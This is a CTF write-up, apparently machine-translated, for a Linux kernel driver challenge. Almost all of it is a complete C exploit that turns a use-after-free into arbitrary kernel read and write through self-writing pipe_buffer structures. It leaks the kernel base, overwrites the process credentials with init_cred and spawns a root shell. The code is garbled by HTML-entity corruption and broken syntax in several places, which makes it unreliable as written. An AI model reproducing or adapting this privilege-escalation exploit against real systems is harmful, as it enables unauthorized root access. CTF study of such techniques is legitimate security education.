[pipe-self-written pipeline] Strong network mimicry 2023-water-ker

Program analysis

Of course, the protection is turned on. The question asked about the ability to add, release, and modify a one-byte heap block. After the heap block was released, its pointer was not set to empty, which resulted in UAF.

Exploitation

The heap block size here is 512 bytes and is SLAB_ACCOUNT, so you can directly use the pipeline to construct a self-writing pipeline to construct an arbitrary reading and writing system. For details, see the boss’s blog: [CTF.0x08] D^ 3CTF2023 d3kcache Question Notes – arttnba3’s blog

exp is as follows:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>


size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred;

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;

    page_count = ((direct_map_addr & amp; (~0xfff)) - page_offset_base) / 0x1000;

    return vmemmap_base + page_count * 0x40;
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\
", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\
\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i + = 4) {
        printf("x", i * 8);
        for (int j = 0; j < 4; j + + ) {
            i + j < len / 8 ? printf(" 0x 6lx", buf64[i + j]) : printf(" ");
        }
        printf(" ");
        for (int j = 0; j < 32 & amp; & amp; j + i * 8 < len; j + + ) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[ + ] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\
");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO( & amp;cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), & amp;cpu_set);

    printf("\033[34m\033[1m[*] Process bound to core \033[0m%d\
", core);
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

struct pipe_buf_operations {
        int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
        void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
        int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
        int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

int fd;
struct argg {
        char* buf;
};

void add(char* buf)
{
        struct argg arg = { .buf = buf };
        ioctl(fd, 0x20, & arg);
}

void dele(char* buf)
{
        struct argg arg = { .buf = buf };
        ioctl(fd, 0x30, & arg);
}

void edit(char* buf)
{
        struct argg arg = { .buf = buf };
        ioctl(fd, 0x50, & arg);
}

#definePIPE_SPRAY_NUM 200
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192
int orig_idx;
int victim_idx;
int pipe_fd[PIPE_SPRAY_NUM][2];
struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
int self_4th_pipe_idx = -1;
int self_2nd_pipe_idx = -1;
int self_3rd_pipe_idx = -1;
char temp_zero_buf[0x1000] = {'\0'};

void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0x1ff8;
    evil_2nd_buf.page = page_to_read;

    write(pipe_fd[self_3rd_pipe_idx][1], & amp;evil_4th_buf, sizeof(evil_4th_buf));

    write(pipe_fd[self_4th_pipe_idx][1], & amp;evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_idx][1],
          temp_zero_buf,
          TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

    write(pipe_fd[self_4th_pipe_idx][1], & amp;evil_3rd_buf, sizeof(evil_3rd_buf));

    read(pipe_fd[self_2nd_pipe_idx][0], dst, 0xfff);
}

void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
    evil_2nd_buf.page = page_to_write;
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0;

    write(pipe_fd[self_3rd_pipe_idx][1], & amp;evil_4th_buf, sizeof(evil_4th_buf));

    write(pipe_fd[self_4th_pipe_idx][1], & amp;evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_idx][1],
          temp_zero_buf,
          TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

    write(pipe_fd[self_4th_pipe_idx][1], & amp;evil_3rd_buf, sizeof(evil_3rd_buf));

    write(pipe_fd[self_2nd_pipe_idx][1], src, len);
}


int main(int argc, char** argv, char** envp)
{

        save_status();
        bind_core(0);

        fd = open("/dev/water", O_RDWR);
        if (fd < 0) err_exit("open /dev/water");

        char * buf = malloc(0x3000);
        char target[16] = { 0 };
        size_t target_addr;
        memset(buf, 'A', 0x1000);
        strcpy(target, "XiaozaYaPwner");
        if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0)
        {
                err_exit("cannot set name");
        }

        add(buf);
        dele(buf);

        puts("[ + ] Spary pipe_buffer");
        for (int i = 0; i < PIPE_SPRAY_NUM; i + + )
        {
                if (pipe(pipe_fd[i]) < 0)
                {
                        printf("[X] failed to alloc %d pipe\
", i);
                        err_exit("Alloc Pipe");
                }
        }

        puts("[ + ] Shrink pipe_buffer to 512B");
        for (int i = 0; i < PIPE_SPRAY_NUM; i + + )
        {
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0)
                {
                        printf("[X] failed to fcntl %d pipe\
", i);
                        err_exit("Fcntl Pipe");
                }
        }


        puts("[ + ] Wirte TAG to pipe");
        for (int i = 0; i < PIPE_SPRAY_NUM; i + + )
        {
                write(pipe_fd[i][1], "XiaozaYa", 8);
                write(pipe_fd[i][1], & amp;i, sizeof(int));
                write(pipe_fd[i][1], & amp;i, sizeof(int));
                write(pipe_fd[i][1], & amp;i, sizeof(int));
                write(pipe_fd[i][1], "AAAAAAAAA", 8);
                write(pipe_fd[i][1], "BBBBBBBB", 8);
        }

        buf[0] = '\x00';
        edit(buf);

        puts("[ + ] Read pipe to check victim pipe idx");
        orig_idx = -1;
        victim_idx = -1;
        for (int i = 0; i < PIPE_SPRAY_NUM; i + + )
        {
                char tag[0x10];
                int nr;
                memset(tag, 0, sizeof(tag));
                read(pipe_fd[i][0], tag, 8);
                read(pipe_fd[i][0], & amp;nr, sizeof(int));
                if (!strcmp(tag, "XiaozaYa") & amp; & amp; nr != i)
                {
                        orig_idx = nr;
                        victim_idx = i;
                        printf("\033[32m\033[1m[ + ] Found victim: \033[0m%d "
                        "\033[32m\033[1m, orig: \033[0m%d\
\
",
                       victim_idx, orig_idx);
                        //break;
                }
        }

        if (orig_idx == -1 || victim_idx == -1)
        {
                err_exit("UAF ERROR");
        }

        int snd_orig_idx = -1;
        int snd_victim_idx = -1;
        struct pipe_buffer info_pipe_buf;
        puts("[ + ] Snd pipe");
        size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
        memset(buf, 0, sizeof(buf));
        write(pipe_fd[victim_idx][1], buf, SND_PIPE_BUF_SZ * 2 - 24 - 3 * sizeof(int));
        puts("[ + ] free original pipe");
        close(pipe_fd[orig_idx][0]);
        close(pipe_fd[orig_idx][1]);
        puts("[ + ] fcntl to set the pipe_buffer on victim page");
        for (int i = 0; i < PIPE_SPRAY_NUM; i + + )
        {
                if (i == orig_idx || i == victim_idx)
                {
                        continue;
                }

                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0)
                {
                        printf("[X] failed to fcntl %d pipe at snd pipe\
", i);
                        err_exit("Fcntl Pipe");

                }
        }

        read(pipe_fd[victim_idx][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
        read(pipe_fd[victim_idx][0], & amp;info_pipe_buf, sizeof(info_pipe_buf));
        printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\
"
        "\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\
",
        info_pipe_buf.page, info_pipe_buf.ops);

        if ((size_t)info_pipe_buf.page < 0xffff000000000000 || (size_t)info_pipe_buf.ops < 0xffffffff81000000)
        {
                err_exit("FAILED to re-hit victim page!");
        }

        puts("\033[32m\033[1m[ + ] Successfully to hit the UAF page!\033[0m");
        printf("\033[32m\033[1m[ + ] Got page leak:\033[0m %p\
", info_pipe_buf.page);

        puts("[ + ] construct a second-level uaf pipe page");
        info_pipe_buf.page = (struct page *)((size_t)info_pipe_buf.page + 0x40);
        write(pipe_fd[victim_idx][1], & amp;info_pipe_buf, sizeof(info_pipe_buf));
        for (int i = 0; i < PIPE_SPRAY_NUM; i + + )
        {
                //char tag[0x10] = { 0 };
                int nr;
                if (i == orig_idx || i == victim_idx)
                {
                        continue;
                }

                //read(pipe_fd[i][0], tag, 8);
                read(pipe_fd[i][0], & amp;nr, sizeof(int));
        // printf("idx: %#x\
", nr);
                //if (!strcmp(tag, "XiaozaYa") & amp; & amp; i != nr)
                if (i < PIPE_SPRAY_NUM & amp; & amp; i != nr)

                {
                        snd_orig_idx = nr;
                        snd_victim_idx = i;
                        printf("\033[32m\033[1m[ + ] Found second-level victim: \033[0m%d "
                        "\033[32m\033[1m, orig: \033[0m%d\
",
                        snd_victim_idx, snd_orig_idx);
                        break;
                }
        }

        if (snd_orig_idx == -1 || snd_victim_idx == -1)
        {
                err_exit("FAILED to corrupt second-level pipe_buffer!");
        }


        size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
        struct pipe_buffer evil_pipe_buf;
        struct page *page_ptr;

        memset(buf, 0, sizeof(buf));

        write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - 24 - 3 * sizeof(int));

        puts("[*] free second-level original pipe...");
        close(pipe_fd[snd_orig_idx][0]);
        close(pipe_fd[snd_orig_idx][1]);

        puts("[*] fcntl() to set the pipe_buffer on second-level victim page...");
        for (int i = 0; i < PIPE_SPRAY_NUM; i + + )
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx)
            {
                continue;
            }

            if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0)
            {
                printf("[x] failed to resize %d pipe!\
", i);
                err_exit("FAILED to re-alloc pipe_buffer!");
            }
        }

        puts("[*] hijacking the 2nd pipe_buffer on page to itself...");
        evil_pipe_buf.page = info_pipe_buf.page;
        evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.ops = info_pipe_buf.ops;
        evil_pipe_buf.flags = info_pipe_buf.flags;
        evil_pipe_buf.private = info_pipe_buf.private;

        write(pipe_fd[snd_victim_idx][1], & amp;evil_pipe_buf, sizeof(evil_pipe_buf));

        for (int i = 0; i < PIPE_SPRAY_NUM; i + + )
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx)
            {
                continue;
            }

            read(pipe_fd[i][0], & page_ptr, sizeof(page_ptr));
            if (page_ptr == evil_pipe_buf.page)
            {
                self_2nd_pipe_idx = i;
                printf("\033[32m\033[1m[ + ] Found self-writing pipe: \033[0m%d\
",
                       self_2nd_pipe_idx);
                break;
            }
        }

        if (self_2nd_pipe_idx == -1)
        {
            err_exit("FAILED to build a self-writing pipe!");
        }

        puts("[*] hijacking the 3rd pipe_buffer on page to itself...");
        evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

        write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
        write(pipe_fd[snd_victim_idx][1], & amp;evil_pipe_buf, sizeof(evil_pipe_buf));

        for (int i = 0; i < PIPE_SPRAY_NUM; i + + )
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx)
            {
                continue;
            }

            read(pipe_fd[i][0], & page_ptr, sizeof(page_ptr));
            if (page_ptr == evil_pipe_buf.page)
            {
                self_3rd_pipe_idx = i;
                printf("\033[32m\033[1m[ + ] Found another self-writing pipe:\033[0m"
                       "%d\
",
                       self_3rd_pipe_idx);
                break;
            }
        }

        if (self_3rd_pipe_idx == -1)
        {
            err_exit("FAILED to build a self-writing pipe!");
        }

        puts("[*] hijacking the 4th pipe_buffer on page to itself...");
        evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

        write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
        write(pipe_fd[snd_victim_idx][1], & amp;evil_pipe_buf, sizeof(evil_pipe_buf));

        for (int i = 0; i < PIPE_SPRAY_NUM; i + + )
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx || i == self_3rd_pipe_idx)
            {
                continue;
            }

            read(pipe_fd[i][0], & page_ptr, sizeof(page_ptr));
            if (page_ptr == evil_pipe_buf.page)
            {
                self_4th_pipe_idx = i;
                printf("\033[32m\033[1m[ + ] Found another self-writing pipe:\033[0m"
                       "%d\
",
                       self_4th_pipe_idx);
                break;
            }
        }

        if (self_4th_pipe_idx == -1)
        {
            err_exit("FAILED to build a self-writing pipe!");
        }


        puts("[*] Setting up kernel arbitrary read & amp; write...");
        memcpy( & amp;evil_2nd_buf, & amp;info_pipe_buf, sizeof(evil_2nd_buf));
        memcpy( & amp;evil_3rd_buf, & amp;info_pipe_buf, sizeof(evil_3rd_buf));
        memcpy( & amp;evil_4th_buf, & amp;info_pipe_buf, sizeof(evil_4th_buf));

        evil_2nd_buf.offset = 0;
        evil_2nd_buf.len = 0xff0;

        evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
        evil_3rd_buf.len = 0;
        write(pipe_fd[self_4th_pipe_idx][1], & amp;evil_3rd_buf, sizeof(evil_3rd_buf));

        evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
        evil_4th_buf.len = 0;


        vmemmap_base = (size_t)info_pipe_buf.page & amp; 0xfffffffff0000000;
        for (;;)
        {
            arbitrary_read_by_pipe((struct page *)(vmemmap_base + 157 * 0x40), buf);

            if (*(uint64_t *)buf > 0xffffffff81000000 & amp; & amp; ((*(uint64_t *)buf & amp; 0xfff) == 0x0e0))
            {
                kernel_base = *(uint64_t *)buf - 0x0e0;
                kernel_offset = kernel_base - 0xffffffff81000000;
                printf("\033[32m\033[1m[ + ] Found kernel base: \033[0m0x%lx\
"
                       "\033[32m\033[1m[ + ] Kernel offset: \033[0m0x%lx\
",
                       kernel_base, kernel_offset);
                break;
            }

            vmemmap_base -= 0x10000000;
        }
        printf("\033[32m\033[1m[ + ] vmemmap_base:\033[0m 0x%lx\
\
", vmemmap_base);

        uint64_t parent_task, current_task;
        puts("[*] Seeking task_struct in memory...");

        uint64_t *comm_addr = 0;
        uint64_t *point_buf = malloc(0x1000);

        for (int i = 0; 1; i + + )
        {
            arbitrary_read_by_pipe((struct page *)(vmemmap_base + i * 0x40), point_buf);

            comm_addr = memmem(point_buf, 0xf00, target, 0xd);
            if (comm_addr & (comm_addr[-2] > 0xffff888000000000) & (comm_addr[-3] > 0xffff888000000000) & (comm_addr[-57] > 0xffff888000000000) & ; & amp; (comm_addr[-56] > 0xffff888000)
            {

                parent_task = comm_addr[-60];

                current_task = comm_addr[-54] - 2528;
                page_offset_base = (comm_addr[-54] & amp; 0xfffffffffffff000) - i * 0x1000;
                page_offset_base &= 0xffffffffff0000000;

                printf("\033[32m\033[1m[ + ] Found task_struct on page: \033[0m%p\
",
                       (struct page *)(vmemmap_base + i * 0x40));
                printf("\033[32m\033[1m[ + ] page_offset_base: \033[0m0x%lx\
",
                       page_offset_base);
                printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m"
                       "0x%lx\
\
",
                       current_task);
                break;
            }
        }

        size_t *tsk_buf;
        uint64_t init_task = 0xffffffff83011200 + kernel_offset;
        uint64_t init_cred = 0xffffffff8308c620 + kernel_offset;
        uint64_t init_nsproxy = 0xffffffff8308c140 + kernel_offset;

        printf("\033[32m\033[1m[ + ] Found init_cred: \033[0m0x%lx\
", init_cred);
        printf("\033[32m\033[1m[ + ] Found init_cred: \033[0m0x%lx\
", init_cred);
        printf("\033[32m\033[1m[ + ] Found init_nsproxy:\033[0m0x%lx\
", init_nsproxy);

        puts("[*] Escalating ROOT privilege now...");

        size_t current_task_page = direct_map_addr_to_page_addr(current_task);

        arbitrary_read_by_pipe((struct page *)current_task_page, buf);
        arbitrary_read_by_pipe((struct page *)(current_task_page + 0x40), & amp;buf[512 * 8]);

        tsk_buf = (size_t *)((size_t)buf + (current_task & amp; 0xfff));
        tsk_buf[367] = init_cred;
        tsk_buf[368] = init_cred;
        tsk_buf[381] = init_nsproxy;

        arbitrary_write_by_pipe((struct page *)current_task_page, buf, 0xff0);
        arbitrary_write_by_pipe((struct page *)(current_task_page + 0x40),
                                     & amp;buf[512 * 8], 0xff0);

        puts("[ + ] Done.\
");
        puts("[*] checking for root...");

        get_root_shell();

        puts("[ + ] END!");
        return 0;
}

The effect is as follows: